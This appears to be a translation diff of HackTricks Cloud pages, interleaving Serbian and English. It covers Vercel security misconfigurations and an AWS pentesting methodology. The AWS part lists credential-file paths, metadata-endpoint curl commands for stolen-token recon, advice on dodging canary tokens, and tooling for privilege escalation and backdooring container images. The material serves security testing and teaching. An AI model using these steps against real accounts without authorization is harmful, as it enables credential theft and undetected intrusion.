- **SAML jedinstveno prijavljivanje:** Omogućava prilagođavanje SAML autentifikacije i sinhronizacije direktorijuma za vaš tim, omogućavajući integraciju sa provajderom identiteta (IdP) za centralizovanu autentifikaciju i upravljanje korisnicima.
- **Pogrešna konfiguracija:** Napadač bi mogao postaviti backdoor u Tim podešavanjem SAML parametara kao što su Entity ID, SSO URL ili otisci sertifikata.
- **Rizik:** Održavanje postojanosti.
- **Vidljivost IP adresa:** Kontroliše da li se IP adrese, koje se mogu smatrati ličnim informacijama prema određenim zakonima o zaštiti podataka, prikazuju u upitima za praćenje i Log Drains.
- **Pogrešna konfiguracija:** Ostaviti vidljivost IP adresa omogućenom bez potrebe.
- **Rizici:**
- **Povrede privatnosti:** Neusklađenost sa zakonima o zaštiti podataka kao što je GDPR.
- **Pravne posledice:** Potencijalne kazne i sankcije za nepravilno rukovanje ličnim podacima.
- **Blokiranje IP adresa:** Omogućava konfiguraciju IP adresa i CIDR opsega koje Vercel treba da blokira. Blokirani zahtevi ne doprinose vašem fakturisanju.
- **Pogrešna konfiguracija:** Može biti zloupotrebljeno od strane napadača da omogući zlonamerni saobraćaj ili blokira legitimni saobraćaj.
- **Rizici:**
- **Odbijanje usluge legitimnim korisnicima:** Blokiranje pristupa validnim korisnicima ili partnerima.
- **Operativni prekidi:** Gubitak dostupnosti usluga za određene regione ili klijente.
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- **Misconfiguration:**
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- **Risks:**
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
- **Risks:**
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- **Risks:**
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- **Misconfiguration:**\
Granting access to audit logs to unauthorized team members.
- **Risks:**
- **Privacy Violations:** Exposure of sensitive user activities and data.
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- **Risk:** Maintain persistence
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- **Risks:**
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- **Risks:**
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
---
### Sigurno računanje
### Secure Compute
**Vercel Secure Compute** omogućava sigurne, privatne veze između Vercel funkcija i backend okruženja (npr. baza podataka) uspostavljanjem izolovanih mreža sa posvećenim IP adresama. Ovo eliminiše potrebu za javnim izlaganjem backend usluga, poboljšavajući bezbednost, usklađenost i privatnost.
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
#### **Potencijalne pogrešne konfiguracije i rizici**
#### **Potential Misconfigurations and Risks**
1. **Pogrešan izbor AWS regiona**
- **Pogrešna konfiguracija:** Odabir AWS regiona za Secure Compute mrežu koji se ne poklapa sa regionom backend usluga.
- **Rizik:** Povećana latencija, potencijalni problemi sa usklađenošću podataka i degradacija performansi.
2. **Preklapanje CIDR blokova**
- **Pogrešna konfiguracija:** Odabir CIDR blokova koji se preklapaju sa postojećim VPC-ima ili drugim mrežama.
- **Rizik:** Mrežni konflikti koji dovode do neuspešnih veza, neovlašćenog pristupa ili curenja podataka između mreža.
3. **Pogrešna konfiguracija VPC peeringa**
- **Pogrešna konfiguracija:** Pogrešno postavljanje VPC peeringa (npr. pogrešni VPC ID-ovi, nepotpune izmene tabele ruta).
- **Rizik:** Neovlašćen pristup backend infrastrukturi, neuspešne sigurne veze i potencijalna curenja podataka.
4. **Prekomerna dodela projekata**
- **Pogrešna konfiguracija:** Dodeljivanje više projekata jednoj Secure Compute mreži bez odgovarajuće izolacije.
- **Rizik:** Izloženost zajedničkog IP-a povećava površinu napada, potencijalno omogućavajući kompromitovanim projektima da utiču na druge.
5. **Neadekvatno upravljanje IP adresama**
- **Pogrešna konfiguracija:** Neupravljanje ili nerotiranje posvećenih IP adresa na odgovarajući način.
- **Rizik:** IP spoofing, ranjivosti praćenja i potencijalno stavljanje na crnu listu ako su IP adrese povezane sa zlonamernim aktivnostima.
6. **Nepravilno uključivanje kontejnera za izgradnju**
- **Pogrešna konfiguracija:** Dodavanje kontejnera za izgradnju u Secure Compute mrežu kada pristup backend-u nije potreban tokom izgradnje.
- **Rizik:** Proširena površina napada, povećani kašnjenja u snabdevanju i nepotrebna potrošnja mrežnih resursa.
7. **Neuspeh u sigurnom rukovanju tajnama zaobilaženja**
- **Pogrešna konfiguracija:** Izlaganje ili nepravilno rukovanje tajnama korišćenim za zaobilaženje zaštite implementacije.
- **Rizik:** Neovlašćen pristup zaštićenim implementacijama, omogućavajući napadačima da manipulišu ili implementiraju zlonamerni kod.
8. **Ignorisanje konfiguracija za prebacivanje regiona**
- **Pogrešna konfiguracija:** Neuspostavljanje pasivnih regiona za prebacivanje ili pogrešno konfigurisanje postavki prebacivanja.
- **Rizik:** Downtime usluge tokom prekida primarnog regiona, što dovodi do smanjene dostupnosti i potencijalne neusklađenosti podataka.
9. **Prekoračenje limita veza VPC peeringa**
- **Pogrešna konfiguracija:** Pokušaj uspostavljanja više VPC peering veza nego što je dozvoljeno (npr. prekoračenje 50 veza).
- **Rizik:** Nemogućnost sigurne povezanosti potrebnih backend usluga, uzrokujući neuspehe implementacije i operativne prekide.
10. **Neosigurana mrežna podešavanja**
- **Pogrešna konfiguracija:** Slaba pravila vatrozida, nedostatak enkripcije ili nepravilna segmentacija mreže unutar Secure Compute mreže.
- **Rizik:** Presretanje podataka, neovlašćen pristup backend uslugama i povećana ranjivost na napade.
1. **Incorrect AWS Region Selection**
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
2. **Overlapping CIDR Blocks**
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
3. **Improper VPC Peering Configuration**
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
4. **Excessive Project Assignments**
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
5. **Inadequate IP Address Management**
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
6. **Including Build Containers Unnecessarily**
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
7. **Failure to Securely Handle Bypass Secrets**
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
8. **Ignoring Region Failover Configurations**
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
9. **Exceeding VPC Peering Connection Limits**
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
10. **Insecure Network Settings**
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
---
### Varijable okruženja
### Environment Variables
**Svrha:** Upravljanje varijablama i tajnama specifičnim za okruženje koje koriste svi projekti.
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
#### Konfiguracije bezbednosti:
#### Security Configurations:
- **Izlaganje osetljivih varijabli**
- **Pogrešna konfiguracija:** Prefiksiranje osetljivih varijabli sa `NEXT_PUBLIC_`, čineći ih dostupnim na klijentskoj strani.
- **Rizik:** Izlaganje API ključeva, kredencijala baze podataka ili drugih osetljivih podataka javnosti, što dovodi do curenja podataka.
- **Osetljivo onemogućeno**
- **Pogrešna konfiguracija:** Ako je onemogućeno (podrazumevano) moguće je pročitati vrednosti generisanih tajni.
- **Rizik:** Povećana verovatnoća slučajnog izlaganja ili neovlašćenog pristupa osetljivim informacijama.
- **Exposing Sensitive Variables**
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
- **Sensitive disabled**
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije
## Basic Information
**Pre nego što započnete pentesting** AWS okruženja, postoji nekoliko **osnovnih stvari koje treba da znate** o tome kako AWS funkcioniše kako biste razumeli šta treba da radite, kako da pronađete pogrešne konfiguracije i kako da ih iskoristite.
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
Koncepti kao što su hijerarhija organizacije, IAM i drugi osnovni koncepti su objašnjeni u:
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
{{#ref}}
aws-basic-information/
{{#endref}}
## Laboratorije za učenje
## Labs to learn
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
@@ -22,49 +22,49 @@ aws-basic-information/
- [http://flaws.cloud/](http://flaws.cloud/)
- [http://flaws2.cloud/](http://flaws2.cloud/)
Alati za simulaciju napada:
Tools to simulate attacks:
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
## AWS Pentester/Red Team metodologija
## AWS Pentester/Red Team Methodology
Da biste auditovali AWS okruženje, veoma je važno znati: koje **usluge se koriste**, šta je **izloženo**, ko ima **pristup** čemu, i kako su interne AWS usluge povezane sa **spoljnim uslugama**.
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
Sa stanovišta Red Teama, **prvi korak za kompromitovanje AWS okruženja** je da uspete da dobijete neke **akreditive**. Evo nekoliko ideja kako to učiniti:
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
- **Leaking** na github-u (ili sličnom) - OSINT
- **Društveno** inženjerstvo
- **Ponovna upotreba** lozinki (curenje lozinki)
- Ranljivosti u AWS-hostovanim aplikacijama
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) sa pristupom metadata endpoint-u
- **Čitanje lokalnih fajlova**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3rd parties **provaljeni**
- **Interni** zaposleni
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)akreditivi
- **Leaks** in github (or similar) - OSINT
- **Social** Engineering
- **Password** reuse (password leaks)
- Vulnerabilities in AWS-Hosted Applications
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
- **Local File Read**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3rd parties **breached**
- **Internal** Employee
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
Ili kompromitovanjem **neautentifikovane usluge** koja je izložena:
Or by **compromising an unauthenticated service** exposed:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
Ili ako radite **reviziju**, mogli biste jednostavno **tražiti akreditive** sa ovim rolama:
Or if you are doing a **review** you could just **ask for credentials** with these roles:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
> Nakon što ste uspeli da dobijete akreditive, treba da znate **čijim akreditivima pripadaju**, i **čemu imaju pristup**, tako da treba da izvršite neku osnovnu enumeraciju:
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
## Osnovna enumeracija
## Basic Enumeration
### SSRF
Ako ste pronašli SSRF na mašini unutar AWS-a, proverite ovu stranicu za trikove:
If you found a SSRF in a machine inside AWS check this page for tricks:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
@@ -72,7 +72,8 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
### Whoami
Jedna od prvih stvari koje treba da znate je ko ste (u kojem računu se nalazite i druge informacije o AWS okruženju):
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -88,9 +89,10 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
> [!CAUTION]
> Imajte na umu da kompanije mogu koristiti **canary tokens** da identifikuju kada se **tokeni kradu i koriste**. Preporučuje se da proverite da li je token canary token pre nego što ga upotrebite.\
> Za više informacija [**proverite ovu stranicu**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -100,30 +102,30 @@ aws-services/aws-organizations-enum.md
### IAM Enumeration
Ako imate dovoljno dozvola, **proveravanje privilegija svake entiteta unutar AWS naloga** pomoći će vam da razumete šta vi i druge identitete možete da radite i kako da **povećate privilegije**.
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
Ako nemate dovoljno dozvola da enumerišete IAM, možete **ukrasti brute-force** da ih otkrijete.\
Proverite **kako da uradite numeraciju i brute-forcing** u:
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
Check **how to do the numeration and brute-forcing** in:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
> Sada kada **imate neke informacije o vašim kredencijalima** (i ako ste red tim, nadamo se da **niste otkriveni**). Vreme je da otkrijete koje se usluge koriste u okruženju.\
> U sledećem odeljku možete proveriti neke načine da **enumerišete neke uobičajene usluge.**
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
> In the following section you can check some ways to **enumerate some common services.**
## Services Enumeration, Post-Exploitation & Persistence
AWS ima neverovatnu količinu usluga, na sledećoj stranici naći ćete **osnovne informacije, enumeraciju** cheatsheets\*\*,\*\* kako da **izbegnete otkrivanje**, dobijete **persistence**, i druge **post-exploitation** trikove o nekima od njih:
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
{{#ref}}
aws-services/
{{#endref}}
Imajte na umu da **ne** morate obavljati sav posao **ručno**, ispod u ovom postu možete pronaći **odeljak o** [**automatskim alatima**](#automated-tools).
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools).
Štaviše, u ovoj fazi možda ste otkrili **više usluga izloženih neautentifikovanim korisnicima**, možda ćete moći da ih iskoristite:
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
{{#ref}}
aws-unauthenticated-enum-access/
@@ -131,7 +133,7 @@ aws-unauthenticated-enum-access/
## Privilege Escalation
Ako možete **proveriti barem svoje dozvole** nad različitim resursima, mogli biste **proveriti da li možete dobiti dodatne dozvole**. Trebalo bi da se fokusirate barem na dozvole navedene u:
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
{{#ref}}
aws-privilege-escalation/
@@ -139,10 +141,10 @@ aws-privilege-escalation/
## Publicly Exposed Services
Dok enumerišete AWS usluge, možda ste pronašli neke od njih **koje izlažu elemente internetu** (VM/Containers portovi, baze podataka ili usluge reda, snimci ili kante...).\
Kao pentester/red tim, uvek biste trebali proveriti da li možete pronaći **osetljive informacije / ranjivosti** na njima jer bi vam mogle pružiti **dalji pristup AWS nalogu**.
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
U ovoj knjizi trebali biste pronaći **informacije** o tome kako pronaći **izložene AWS usluge i kako ih proveriti**. O tome kako pronaći **ranjivosti u izloženim mrežnim uslugama**, preporučujem vam da **pretražujete** specifičnu **uslugu** u:
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
{{#ref}}
https://book.hacktricks.wiki/
@@ -152,49 +154,52 @@ https://book.hacktricks.wiki/
### From the root/management account
Kada menadžerski nalog kreira nove naloge u organizaciji, **nova uloga** se kreira u novom nalogu, po defaultu nazvana **`OrganizationAccountAccessRole`** i daje **AdministratorAccess** politiku menadžerskom nalogu da pristupi novom nalogu.
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
Dakle, da biste pristupili kao administrator detetovom nalogu, potrebno je:
So, in order to access as administrator a child account you need:
- **Kompromitovati** **menadžerski** nalog i pronaći **ID** **dečijih naloga** i **imena** **uloge** (OrganizationAccountAccessRole po defaultu) koja omogućava menadžerskom nalogu da pristupi kao admin.
- Da biste pronašli dečije naloge, idite na odeljak organizacija u aws konzoli ili pokrenite `aws organizations list-accounts`
- Ne možete direktno pronaći imena uloga, pa proverite sve prilagođene IAM politike i pretražujte bilo koju koja omogućava **`sts:AssumeRole` nad prethodno otkrivenim dečijim nalozima**.
- **Kompromitujte** **principal** u menadžerskom nalogu sa **`sts:AssumeRole` dozvolom nad ulogom u dečijim nalozima** (čak i ako nalog omogućava bilo kome iz menadžerskog naloga da se impersonira, kao što je eksterni nalog, specifične `sts:AssumeRole` dozvole su neophodne).
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
## Automated Tools
### Recon
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Alat za **prikupljanje inventara** fokusiran na AWS sigurnost, napisan u Ruby-u.
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
```bash
# Install
gem install aws_recon
# Recon and get json
AWS_PROFILE=<profile> aws_recon \
--services S3,EC2 \
--regions global,us-east-1,us-east-2 \
--verbose
--services S3,EC2 \
--regions global,us-east-1,us-east-2 \
--verbose
```
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist je **alat za više oblaka za dobijanje resursa** (Hostname, IP adrese) od provajdera oblaka.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper vam pomaže da analizirate svoja Amazon Web Services (AWS) okruženja. Sada sadrži mnogo više funkcionalnosti, uključujući reviziju za bezbednosne probleme.
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
{
"accounts": [
{
"default": true,
"id": "<account id>",
"name": "dev"
}
],
"cidrs":
{
"2.2.2.2/28": {"name": "NY Office"}
}
"accounts": [
{
"default": true,
"id": "<account id>",
"name": "dev"
}
],
"cidrs":
{
"2.2.2.2/28": {"name": "NY Office"}
}
}
# Enumerate
@@ -224,7 +229,9 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
- [**cartography**](https://github.com/lyft/cartography): Cartography je Python alat koji konsoliduje infrastrukturne resurse i odnose između njih u intuitivnom grafičkom prikazu koji pokreće Neo4j baza podataka.
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
```bash
# Install
pip install cartography
@@ -233,15 +240,17 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase prikuplja resurse i odnose iz servisa i sistema uključujući cloud infrastrukturu, SaaS aplikacije, bezbednosne kontrole i još mnogo toga u intuitivnom grafičkom prikazu podržanom od strane Neo4j baze podataka.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Koristi python2) Ovo je alat koji pokušava da **otkrije sve** [**AWS resurse**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) kreirane u nalogu.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): To je alat za **preuzimanje svih javnih IP adresa** (i IPv4/IPv6) povezanih sa AWS nalogom.
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Otkrijte najprivilegovanije korisnike u skeniranoj AWS sredini, uključujući AWS Shadow Admins. Koristi powershell. Možete pronaći **definiciju privilegovanih politika** u funkciji **`Check-PrivilegedPolicy`** u [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu je open-source **AWS exploitation framework**, dizajniran za ofanzivno testiranje bezbednosti protiv cloud okruženja. Može **enumerisati**, pronaći **greške u konfiguraciji** i **iskoristiti** ih. Možete pronaći **definiciju privilegovanih dozvola** u [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) unutar **`user_escalation_methods`** rečnika.
- Imajte na umu da pacu **samo proverava vaše vlastite privesc puteve** (ne na nivou celog naloga).
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
- Note that pacu **only checks your own privescs paths** (not account wide).
```bash
# Install
## Feel free to use venvs
@@ -255,7 +264,9 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) je skripta i biblioteka za identifikaciju rizika u konfiguraciji AWS Identity and Access Management (IAM) za AWS nalog ili AWS organizaciju. Modeluje različite IAM korisnike i uloge u nalogu kao usmereni graf, što omogućava provere za **privilege escalation** i za alternativne puteve koje napadač može da preuzme kako bi dobio pristup resursu ili akciji u AWS-u. Možete proveriti **permissions used to find privesc** puteve u datotekama koje se završavaju sa `_edges.py` u [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -277,8 +288,10 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining je alat za procenu bezbednosti AWS IAM koji identifikuje kršenja minimalnih privilegija i generiše izveštaj u HTML formatu sa prioritetom rizika.\
Prikazaće vam potencijalno **previše privilegovanog** korisnika, inline i aws **politike** i koji **principali imaju pristup njima**. (Ne proverava samo privesc već i druge zanimljive dozvole, preporučuje se korišćenje).
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
```bash
# Install
pip install cloudsplaining
@@ -290,20 +303,24 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack procenjuje AWS naloge na **ranjivosti u preuzimanju poddomena** kao rezultat odvojenih Route53 i CloudFront konfiguracija.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lista ECR repozitorijuma -> Preuzmi ECR repozitorijum -> Uvedi backdoor -> Pomerite backdoor-ovanu sliku
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag je alat koji **pretražuje** javne Elastic Block Storage (**EBS**) snimke za tajne koje su možda slučajno ostavljene.
### Revizija
- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
